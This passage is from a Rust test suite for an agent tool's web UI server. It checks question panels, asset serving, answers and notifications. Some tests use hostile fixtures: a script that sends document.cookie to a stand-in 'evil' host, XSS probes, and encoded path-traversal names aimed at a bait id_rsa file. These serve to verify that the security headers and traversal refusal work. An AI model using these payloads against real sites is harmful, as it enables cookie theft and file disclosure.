7107 repo: PathBuf,
7108 launch: Launch,
7109 machine: Option<PathBuf>,
7110 ) -> SocketAddr {
7111 let queue = Queue::at(home.join("queue"));
7112 let runs = home.join("runs");
7113 std::fs::create_dir_all(&runs).expect("runs dir");
7114 let worktrees = home.join("wt").join("magi");
7115 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7116 let ui = Ui::new(
7117 queue,
7118 Questions::at(home.join("questions")),
7119 Talks::at(home.join("talks")),
7120 runs,
7121 home.to_path_buf(),
7122 repo,
7123 )
7124 .with_worktrees_root(worktrees)
7125 .with_machine_config(machine)
7126 .with_launch(launch);
7127 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7128 .await
7129 .expect("bind loopback");
7130 let addr = listener.local_addr().expect("local addr");
7131 tokio::spawn(async move {
7132 let _ = axum::serve(listener, ui.router()).await;
7133 });
7134 addr
7135 }
7136
7137 fn queue(&self) -> Queue {
7138 Queue::at(self.home.path().join("queue"))
7139 }
7140
7141 fn questions(&self) -> Questions {
7142 Questions::at(self.home.path().join("questions"))
7143 }
7144
7145 fn talks(&self) -> Talks {
7146 Talks::at(self.home.path().join("talks"))
7147 }
7148
7149 fn runs(&self) -> PathBuf {
7150 self.home.path().join("runs")
7151 }
7152
7153 async fn get(&self, path: &str) -> Res {
7154 request(self.addr, "GET", path, None).await
7155 }
7156
7157 async fn head(&self, path: &str) -> Res {
7162 request(self.addr, "HEAD", path, None).await
7163 }
7164
7165 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7166 request(self.addr, "POST", path, body).await
7167 }
7168
7169 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7170 request_with(self.addr, "GET", path, None, extra).await
7171 }
7172
7173 async fn delete(&self, path: &str) -> Res {
7174 request(self.addr, "DELETE", path, None).await
7175 }
7176
7177 async fn put(&self, path: &str, body: &str) -> Res {
7178 request(self.addr, "PUT", path, Some(body)).await
7179 }
7180
7181 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7183 request_bytes(self.addr, path, headers, body).await
7184 }
7185 }
7186
7187 struct Res {
7188 status: u16,
7189 headers: String,
7190 head: String,
7195 body: String,
7196 bytes: Vec<u8>,
7200 }
7201
7202 impl Res {
7203 fn json(&self) -> Value {
7204 serde_json::from_str(&self.body)
7205 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7206 }
7207
7208 fn header(&self, name: &str) -> Option<&str> {
7210 self.head.lines().find_map(|line| {
7211 let (key, value) = line.split_once(':')?;
7212 key.trim()
7213 .eq_ignore_ascii_case(name)
7214 .then(|| value.trim_start().trim_end_matches('\r'))
7215 })
7216 }
7217 }
7218
7219 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7222 request_with(addr, method, path, body, &[]).await
7223 }
7224
7225 async fn request_with(
7229 addr: SocketAddr,
7230 method: &str,
7231 path: &str,
7232 body: Option<&str>,
7233 extra: &[(&str, &str)],
7234 ) -> Res {
7235 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7236 for (name, value) in extra {
7237 head.push_str(&format!("{name}: {value}\r\n"));
7238 }
7239 if let Some(body) = body {
7240 head.push_str("Content-Type: application/json\r\n");
7241 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7242 }
7243 head.push_str("\r\n");
7244 if let Some(body) = body {
7245 head.push_str(body);
7246 }
7247 let mut socket = tokio::net::TcpStream::connect(addr)
7248 .await
7249 .expect("connect to the test server");
7250 socket
7251 .write_all(head.as_bytes())
7252 .await
7253 .expect("write request");
7254 let mut raw = Vec::new();
7255 socket.read_to_end(&mut raw).await.expect("read response");
7256 let split = raw
7259 .windows(4)
7260 .position(|w| w == b"\r\n\r\n")
7261 .expect("a header block");
7262 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7263 let bytes = raw[split + 4..].to_vec();
7264 let status = head
7265 .lines()
7266 .next()
7267 .and_then(|line| line.split_whitespace().nth(1))
7268 .and_then(|code| code.parse().ok())
7269 .expect("a status line");
7270 Res {
7271 status,
7272 headers: head.to_lowercase(),
7273 head,
7274 body: String::from_utf8_lossy(&bytes).into_owned(),
7275 bytes,
7276 }
7277 }
7278
7279 async fn request_bytes(
7285 addr: SocketAddr,
7286 path: &str,
7287 headers: &[(&str, &str)],
7288 body: &[u8],
7289 ) -> Res {
7290 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7291 for (name, value) in headers {
7292 head.push_str(&format!("{name}: {value}\r\n"));
7293 }
7294 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7295 let mut socket = tokio::net::TcpStream::connect(addr)
7296 .await
7297 .expect("connect to the test server");
7298 socket
7299 .write_all(head.as_bytes())
7300 .await
7301 .expect("write request head");
7302 socket.write_all(body).await.expect("write request body");
7303 let mut raw = Vec::new();
7304 socket.read_to_end(&mut raw).await.expect("read response");
7305 let split = raw
7306 .windows(4)
7307 .position(|w| w == b"\r\n\r\n")
7308 .expect("a header block");
7309 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7310 let bytes = raw[split + 4..].to_vec();
7311 let status = head
7312 .lines()
7313 .next()
7314 .and_then(|line| line.split_whitespace().nth(1))
7315 .and_then(|code| code.parse().ok())
7316 .expect("a status line");
7317 Res {
7318 status,
7319 headers: head.to_lowercase(),
7320 head,
7321 body: String::from_utf8_lossy(&bytes).into_owned(),
7322 bytes,
7323 }
7324 }
7325
7326 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7328 let mut state = RunState::new(
7329 PathBuf::from("/repo/magi"),
7330 "main".to_owned(),
7331 "0123456789abcdef".to_owned(),
7332 "Add a web UI\n\nMobile first.".to_owned(),
7333 Config::default(),
7334 );
7335 state.id = id.to_owned();
7336 state.status = status;
7337 let dir = runs.join(id);
7338 std::fs::create_dir_all(&dir).expect("run dir");
7339 std::fs::write(
7340 dir.join("run.json"),
7341 serde_json::to_string_pretty(&state).expect("serialize run"),
7342 )
7343 .expect("write run.json");
7344 }
7345
7346 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7350 let mut state = RunState::new(
7351 PathBuf::from(repo),
7352 "main".to_owned(),
7353 "0123456789abcdef".to_owned(),
7354 "task".to_owned(),
7355 Config::default(),
7356 );
7357 state.id = id.to_owned();
7358 state.status = status;
7359 let dir = runs.join(id);
7360 std::fs::create_dir_all(&dir).expect("run dir");
7361 std::fs::write(
7362 dir.join("run.json"),
7363 serde_json::to_string_pretty(&state).expect("serialize run"),
7364 )
7365 .expect("write run.json");
7366 }
7367
7368 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7369 let body = serde_json::json!({
7370 "schema": 1,
7371 "pid": 4242,
7372 "started_at": Timestamp::now().to_string(),
7373 "updated_at": updated_at.to_string(),
7374 "idle": false,
7375 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7376 "completed": 7,
7377 "polls": 143,
7378 });
7379 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7380 }
7381
7382 fn launch_idle(
7392 _opts: daemon::Opts,
7393 stop: daemon::Stop,
7394 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7395 Box::pin(async move {
7396 while !stop.stopped() {
7397 tokio::time::sleep(Duration::from_millis(2)).await;
7398 }
7399 Ok(())
7400 })
7401 }
7402
7403 fn launch_broken(
7406 _opts: daemon::Opts,
7407 _stop: daemon::Stop,
7408 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7409 Box::pin(async {
7410 Err(anyhow::anyhow!(
7411 "publish the daemon status file: read-only file system"
7412 ))
7413 })
7414 }
7415
7416 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7423 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7424
7425 fn launch_knocking_on_the_way_out(
7432 _opts: daemon::Opts,
7433 stop: daemon::Stop,
7434 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7435 Box::pin(async move {
7436 while !stop.stopped() {
7437 tokio::time::sleep(Duration::from_millis(2)).await;
7438 }
7439 let addr = PARK_KNOCK
7440 .lock()
7441 .expect("park knock")
7442 .expect("the test set an address");
7443 let heard = request(addr, "GET", "/api/health", None).await.status;
7444 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7445 Ok(())
7446 })
7447 }
7448
7449 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7458 for _ in 0..SETTLE_STEPS {
7459 let view = fx.get("/api/loop").await.json();
7460 if want(&view) {
7461 return view;
7462 }
7463 tokio::time::sleep(Duration::from_millis(10)).await;
7464 }
7465 panic!(
7466 "the loop never settled: {}",
7467 fx.get("/api/loop").await.json()
7468 );
7469 }
7470
7471 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7473 let store = fx.questions();
7474 let mut q = Question::new(
7475 "20260902-000000-beef".to_owned(),
7476 "implement".to_owned(),
7477 "impl-A".to_owned(),
7478 summary.to_owned(),
7479 "because it matters".to_owned(),
7480 choices.iter().map(|c| (*c).to_owned()).collect(),
7481 );
7482 store.put(&mut q).expect("put question");
7483 q.id
7484 }
7485
7486 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7492 let store = fx.questions();
7493 let mut q = Question::new(
7494 "20260902-000000-beef".to_owned(),
7495 "land".to_owned(),
7496 "fix".to_owned(),
7497 "Merge this?".to_owned(),
7498 "the diff is in the panel".to_owned(),
7499 vec!["merge".to_owned(), "hold".to_owned()],
7500 );
7501 let staging = fx.home.path().join("staging");
7504 std::fs::create_dir_all(&staging).expect("staging dir");
7505 let sources: Vec<PathBuf> = assets
7506 .iter()
7507 .map(|(name, bytes)| {
7508 let path = staging.join(name);
7509 std::fs::write(&path, bytes).expect("write staged asset");
7510 path
7511 })
7512 .collect();
7513 store
7514 .put_panel(&mut q, html, &sources)
7515 .expect("write the panel");
7516 store.put(&mut q).expect("put question");
7517 q.id
7518 }
7519
7520 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7529 seed_talk_at(&fx.talks(), id, status)
7530 }
7531
7532 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7533 std::fs::create_dir_all(store.root()).expect("talks dir");
7534 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7535 .expect("serialize a seat");
7536 let body = serde_json::json!({
7537 "schema": 1,
7538 "id": id,
7539 "repo": "/repo/magi",
7540 "agent": "mock",
7541 "status": status,
7542 "turns": [],
7543 "created_at": Timestamp::now().to_string(),
7544 "updated_at": Timestamp::now().to_string(),
7545 "seat": seat,
7546 });
7547 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7548 store.get(id).expect("the seeded talk has to be readable");
7549 id.to_owned()
7550 }
7551
7552 #[tokio::test]
7553 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7554 let fx = Fixture::start().await;
7555 let id = panel(
7556 &fx,
7557 "<h1>Merge?</h1><img src=\"diff.svg\">",
7558 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7559 );
7560
7561 for path in [
7562 format!("/api/questions/{id}/panel"),
7563 format!("/api/questions/{id}/asset/diff.svg"),
7564 ] {
7565 let res = fx.get(&path).await;
7566 assert_eq!(res.status, 200, "{path}: {}", res.body);
7567 assert_eq!(
7573 res.header("content-security-policy"),
7574 Some(
7575 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7576 font-src data:; base-uri 'none'; form-action 'none'; \
7577 frame-ancestors 'self'"
7578 ),
7579 "{path} is the only thing between a hostile panel and the tailnet"
7580 );
7581 assert_eq!(
7582 res.header("x-content-type-options"),
7583 Some("nosniff"),
7584 "{path}: a browser must not re-decide the type we sent"
7585 );
7586 assert_eq!(
7587 res.header("referrer-policy"),
7588 Some("no-referrer"),
7589 "{path}: a panel must not leak the question id off the machine"
7590 );
7591
7592 let pre = fx.head(&path).await;
7597 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7598 assert_eq!(
7599 pre.header("content-security-policy"),
7600 res.header("content-security-policy"),
7601 "{path}: the preflight carries the same policy"
7602 );
7603 assert_eq!(
7604 pre.header("content-type"),
7605 res.header("content-type"),
7606 "{path}: the preflight carries the same type"
7607 );
7608 }
7609 }
7610
7611 #[tokio::test]
7612 async fn a_panel_reaches_the_browser_byte_for_byte() {
7613 let fx = Fixture::start().await;
7614 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7619 let id = panel(&fx, html, &[]);
7620
7621 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7622
7623 assert_eq!(res.status, 200);
7624 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7625 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7626 assert_eq!(
7627 res.header("content-disposition"),
7628 None,
7629 "the panel itself is rendered in the frame, not downloaded"
7630 );
7631 }
7632
7633 #[tokio::test]
7634 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7635 let fx = Fixture::start().await;
7636 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7637 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7638 let id = panel(
7639 &fx,
7640 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7641 &[("diff.svg", svg), ("shot.png", png)],
7642 );
7643
7644 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7645 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7646
7647 assert_eq!(as_svg.status, 200);
7648 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7649 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7654
7655 assert_eq!(as_png.status, 200);
7656 assert_eq!(as_png.header("content-type"), Some("image/png"));
7657 assert_eq!(
7658 as_png.header("content-disposition"),
7659 None,
7660 "a raster image has no execution surface, so tapping it still shows it"
7661 );
7662 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7663 }
7664
7665 #[tokio::test]
7666 async fn an_html_asset_is_never_served_as_html() {
7667 let fx = Fixture::start().await;
7668 let id = panel(
7669 &fx,
7670 "<p>see the notes</p>",
7671 &[
7672 (
7673 "notes.html",
7674 b"<script>fetch('http://evil/'+document.cookie)</script>",
7675 ),
7676 ("hook.js", b"fetch('http://evil/')"),
7677 ("data.json", b"{}"),
7678 ("HEADLINE.TXT", b"plain"),
7679 ],
7680 );
7681
7682 for name in ["notes.html", "hook.js", "data.json"] {
7683 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7684 assert_eq!(res.status, 200, "{name}: {}", res.body);
7685 assert_eq!(
7690 res.header("content-type"),
7691 Some("application/octet-stream"),
7692 "{name} must not be a type the browser will execute or render"
7693 );
7694 }
7695 let txt = fx
7698 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7699 .await;
7700 assert_eq!(
7701 txt.header("content-type"),
7702 Some("text/plain; charset=utf-8")
7703 );
7704 }
7705
7706 #[tokio::test]
7707 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7708 let fx = Fixture::start().await;
7709 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7710 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7714
7715 for encoded in [
7722 "%2e%2e%2fid_rsa",
7723 "..%2fid_rsa",
7724 "..%5cid_rsa",
7725 "%2e%2e%5cid_rsa",
7726 "diff%00.svg",
7727 "..",
7728 ".hidden",
7729 "%2e%2e%2f%2e%2e%2fid_rsa",
7730 ] {
7731 let res = fx
7732 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7733 .await;
7734 assert_eq!(
7735 res.status, 400,
7736 "`{encoded}` has to be refused by name, not looked up: {}",
7737 res.body
7738 );
7739 assert!(res.json()["error"].is_string(), "{}", res.body);
7740 }
7741
7742 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7748 let res = fx
7749 .get(&format!("/api/questions/{id}/asset/{literal}"))
7750 .await;
7751 assert_eq!(
7752 res.status, 404,
7753 "`{literal}` must not match the asset route at all: {}",
7754 res.body
7755 );
7756 }
7757 }
7758
7759 #[tokio::test]
7760 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7761 let fx = Fixture::start().await;
7762 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7763 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7764
7765 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7769 assert_eq!(none.status, 404, "{}", none.body);
7770 assert!(none.json()["error"].is_string(), "{}", none.body);
7771 assert_eq!(
7772 fx.head(&format!("/api/questions/{plain}/panel"))
7773 .await
7774 .status,
7775 404,
7776 "the preflight is the only way the client can learn this"
7777 );
7778
7779 let missing = fx
7781 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7782 .await;
7783 assert_eq!(missing.status, 404, "{}", missing.body);
7784 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7785
7786 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7788 assert_eq!(
7789 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7790 404
7791 );
7792 }
7793
7794 #[tokio::test]
7795 async fn a_run_with_an_open_question_reads_as_waiting() {
7796 let fx = Fixture::start().await;
7797 let run = "20260902-000000-beef".to_owned();
7798 write_run(&fx.runs(), &run, RunStatus::Implementing);
7799
7800 let before = fx.get("/api/runs").await.json();
7801 assert_eq!(before[0]["waiting"], false, "{before}");
7802
7803 let store = fx.questions();
7804 let mut q = Question::new(
7805 run.clone(),
7806 "implement".to_owned(),
7807 "impl-A".to_owned(),
7808 "Which backend?".to_owned(),
7809 String::new(),
7810 vec!["SQLite".to_owned()],
7811 );
7812 store.put(&mut q).expect("put");
7813
7814 let during = fx.get("/api/runs").await.json();
7815 assert_eq!(during[0]["waiting"], true, "{during}");
7816
7817 q.answer(Answer::Choice("SQLite".to_owned()))
7820 .expect("answer");
7821 store.put(&mut q).expect("put");
7822 let after = fx.get("/api/runs").await.json();
7823 assert_eq!(after[0]["waiting"], false, "{after}");
7824 }
7825
7826 #[tokio::test]
7827 async fn an_open_question_is_listed_and_counted_by_health() {
7828 let fx = Fixture::start().await;
7829 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7830
7831 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7832 let listed = fx.get("/api/questions").await.json();
7833 assert_eq!(listed.as_array().expect("array").len(), 1);
7834 assert_eq!(listed[0]["id"], id);
7835 assert_eq!(listed[0]["status"], "open");
7836 assert_eq!(listed[0]["choices"][1], "Redis");
7837 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7840 }
7841
7842 #[tokio::test]
7843 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7844 let fx = Fixture::start().await;
7845 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7846 let path = format!("/api/questions/{id}/answer");
7847
7848 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7849 assert_eq!(res.status, 200, "{}", res.body);
7850 let body = res.json();
7851 assert_eq!(body["status"], "answered");
7852 assert_eq!(body["answer"]["choice"], "Redis");
7853
7854 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7858 assert_eq!(again.status, 409, "{}", again.body);
7859 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7860 }
7861
7862 #[tokio::test]
7863 async fn saying_something_appends_a_turn_without_answering() {
7864 let fx = Fixture::start().await;
7865 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7866 let path = format!("/api/questions/{id}/say");
7867
7868 let res = fx
7869 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7870 .await;
7871 assert_eq!(res.status, 200, "{}", res.body);
7872 let body = res.json();
7873 assert_eq!(body["status"], "open", "talking back is not a decision");
7874 assert_eq!(body["answer"], Value::Null);
7875 assert_eq!(body["thread"][0]["who"], "operator");
7876 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7877 assert_eq!(body["waiting_on_agent"], true);
7878 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7880 }
7881
7882 #[tokio::test]
7883 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7884 let fx = Fixture::start().await;
7885 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7886
7887 let list = fx.get("/api/questions").await.json();
7888 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7889
7890 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7891 assert_eq!(res.status, 409, "{}", res.body);
7892 let q = fx.questions().get(&id).unwrap();
7893 assert!(q.status.open());
7894 assert!(q.consult.is_none());
7895 }
7896
7897 #[tokio::test]
7898 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
7899 let fx = Fixture::start().await;
7900 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7901 let cfg = Config {
7902 agents: vec![crate::config::AgentSpec {
7903 id: "mock".to_owned(),
7904 kind: crate::config::AgentKind::Command,
7905 model: None,
7906 command: vec!["true".to_owned()],
7907 extra_args: Vec::new(),
7908 env: Default::default(),
7909 prompt_delivery: None,
7910 }],
7911 ..Config::default()
7912 };
7913 let talk = crate::talk::begin(
7914 &fx.talks(),
7915 &cfg,
7916 fx.home.path().to_path_buf(),
7917 Some("mock"),
7918 )
7919 .unwrap();
7920 let mut task = Task::new(
7921 "t".to_owned(),
7922 "Do it".to_owned(),
7923 PathBuf::from("/repo/magi"),
7924 Source::Agent {
7925 run: talk.id.clone(),
7926 node: crate::queue::CHAT_NODE.to_owned(),
7927 },
7928 );
7929 task.start("20260902-000000-beef".to_owned());
7930 fx.queue().put(&mut task).unwrap();
7931
7932 let list = fx.get("/api/questions").await.json();
7933 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
7934 assert_eq!(
7935 list[0]["choices"],
7936 serde_json::json!(["SQLite", "Redis"]),
7937 "the hand-over is never a choice"
7938 );
7939 let _ = id;
7940 }
7941
7942 #[tokio::test]
7943 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
7944 let fx = Fixture::start().await;
7945 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7946 let cfg = Config {
7947 agents: vec![crate::config::AgentSpec {
7948 id: "mock".to_owned(),
7949 kind: crate::config::AgentKind::Command,
7950 model: None,
7951 command: vec!["true".to_owned()],
7952 extra_args: Vec::new(),
7953 env: Default::default(),
7954 prompt_delivery: None,
7955 }],
7956 ..Config::default()
7957 };
7958 let repo = fx.home.path().join("chat-repo");
7960 std::fs::create_dir_all(&repo).unwrap();
7961 let toml = repo.join("magi.toml");
7962 std::fs::write(&toml, "this is = = not toml").unwrap();
7963 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
7964 let mut task = Task::new(
7965 "t".to_owned(),
7966 "Do it".to_owned(),
7967 PathBuf::from("/repo/magi"),
7968 Source::Agent {
7969 run: talk.id.clone(),
7970 node: crate::queue::CHAT_NODE.to_owned(),
7971 },
7972 );
7973 task.start("20260902-000000-beef".to_owned());
7974 fx.queue().put(&mut task).unwrap();
7975
7976 let path = format!("/api/questions/{id}/consult");
7977 let res = fx.post(&path, None).await;
7978 assert!(res.status >= 400, "{}", res.body);
7979 assert!(fx.questions().get(&id).unwrap().consult.is_none());
7980 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
7981
7982 std::fs::write(&toml, "").unwrap();
7983 let res = fx.post(&path, None).await;
7984 assert_eq!(res.status, 202, "{}", res.body);
7985 assert!(fx.questions().get(&id).unwrap().consult.is_some());
7986 }
7987
7988 #[tokio::test]
7989 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7990 let fx = Fixture::start().await;
7991 let store = fx.questions();
7992 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7993 assert_eq!(
7994 fx.get("/api/health").await.json()["questions_needs_owner"],
7995 1
7996 );
7997
7998 let res = fx
8004 .post(
8005 &format!("/api/questions/{id}/say"),
8006 Some(r#"{"body":"why not Postgres?"}"#),
8007 )
8008 .await;
8009 assert_eq!(res.status, 200, "{}", res.body);
8010 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8011 assert_eq!(
8012 fx.get("/api/health").await.json()["questions_needs_owner"],
8013 0,
8014 "waiting on the agent is not waiting on the owner"
8015 );
8016
8017 let mut q = store.get(&id).expect("get");
8021 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8022 .expect("reply");
8023 store.put(&mut q).expect("put");
8024 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8025 assert_eq!(
8026 fx.get("/api/health").await.json()["questions_needs_owner"],
8027 1,
8028 "the agent's reply is what should light the banner back up"
8029 );
8030 }
8031
8032 #[tokio::test]
8033 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8034 let fx = Fixture::start().await;
8035 let store = fx.questions();
8036
8037 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8038 let res = fx
8039 .post(
8040 &format!("/api/questions/{empty_id}/say"),
8041 Some(r#"{"body":" "}"#),
8042 )
8043 .await;
8044 assert_eq!(res.status, 400, "{}", res.body);
8045
8046 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8047 let mut answered = store.get(&answered_id).expect("get");
8048 answered
8049 .answer(Answer::Choice("SQLite".to_owned()))
8050 .expect("answer");
8051 store.put(&mut answered).expect("put");
8052 let res = fx
8053 .post(
8054 &format!("/api/questions/{answered_id}/say"),
8055 Some(r#"{"body":"still there?"}"#),
8056 )
8057 .await;
8058 assert_eq!(res.status, 409, "{}", res.body);
8059
8060 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8061 let mut abandoned = store.get(&abandoned_id).expect("get");
8062 abandoned.abandon("timed out");
8063 store.put(&mut abandoned).expect("put");
8064 let res = fx
8065 .post(
8066 &format!("/api/questions/{abandoned_id}/say"),
8067 Some(r#"{"body":"still there?"}"#),
8068 )
8069 .await;
8070 assert_eq!(res.status, 409, "{}", res.body);
8071 }
8072
8073 #[tokio::test]
8074 async fn an_answer_the_question_does_not_offer_is_refused() {
8075 let fx = Fixture::start().await;
8076 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8077 let path = format!("/api/questions/{id}/answer");
8078
8079 for body in [
8080 r#"{"choice":"Postgres"}"#,
8081 r#"{"text":"whatever you think"}"#,
8082 r#"{"choice":"Redis","text":"both"}"#,
8083 r#"{}"#,
8084 ] {
8085 let res = fx.post(&path, Some(body)).await;
8086 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8087 assert!(res.json()["error"].is_string(), "{}", res.body);
8088 }
8089 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8091 }
8092
8093 #[tokio::test]
8094 async fn a_free_text_question_takes_text_and_not_a_choice() {
8095 let fx = Fixture::start().await;
8096 let id = ask(&fx, "What should the flag be called?", &[]);
8097 let path = format!("/api/questions/{id}/answer");
8098
8099 assert_eq!(
8100 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8101 400
8102 );
8103 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8104 assert_eq!(res.status, 200, "{}", res.body);
8105 assert_eq!(res.json()["answer"]["text"], "--json");
8106 }
8107
8108 #[tokio::test]
8109 async fn an_unknown_question_is_a_json_404() {
8110 let fx = Fixture::start().await;
8111 let res = fx
8112 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8113 .await;
8114 assert_eq!(res.status, 404, "{}", res.body);
8115 assert!(res.json()["error"].is_string());
8116 }
8117
8118 #[tokio::test]
8119 async fn notifications_list_read_dismiss_and_health_agree() {
8120 let fx = Fixture::start().await;
8121 let store = Notices::at(fx.home.path().join("notifications"));
8122 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8123 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8124
8125 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8126 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8127
8128 let health = fx.get("/api/health").await.json();
8129 assert_eq!(health["notifications_unread"], 2);
8130 assert_ne!(
8131 health["notifications_rev"], rev0,
8132 "the badge must move live"
8133 );
8134
8135 let listed = fx.get("/api/notifications").await.json();
8136 assert_eq!(listed["unread"], 2);
8137 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8138 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8139
8140 let read = fx
8141 .post(&format!("/api/notifications/{}/read", a.id), None)
8142 .await;
8143 assert_eq!(read.status, 200, "{}", read.body);
8144 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8145
8146 let gone = fx
8147 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8148 .await;
8149 assert_eq!(gone.status, 200, "{}", gone.body);
8150 let listed = fx.get("/api/notifications").await.json();
8151 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8152 assert_eq!(listed["unread"], 0);
8153
8154 store.raise(Notice::info("x", "again")).unwrap();
8155 let all = fx.post("/api/notifications/read-all", None).await;
8156 assert_eq!(all.status, 200, "{}", all.body);
8157 assert_eq!(all.json()["marked"], 1);
8158 assert_eq!(
8159 fx.get("/api/health").await.json()["notifications_unread"],
8160 0
8161 );
8162
8163 let missing = fx.post("/api/notifications/nope/read", None).await;
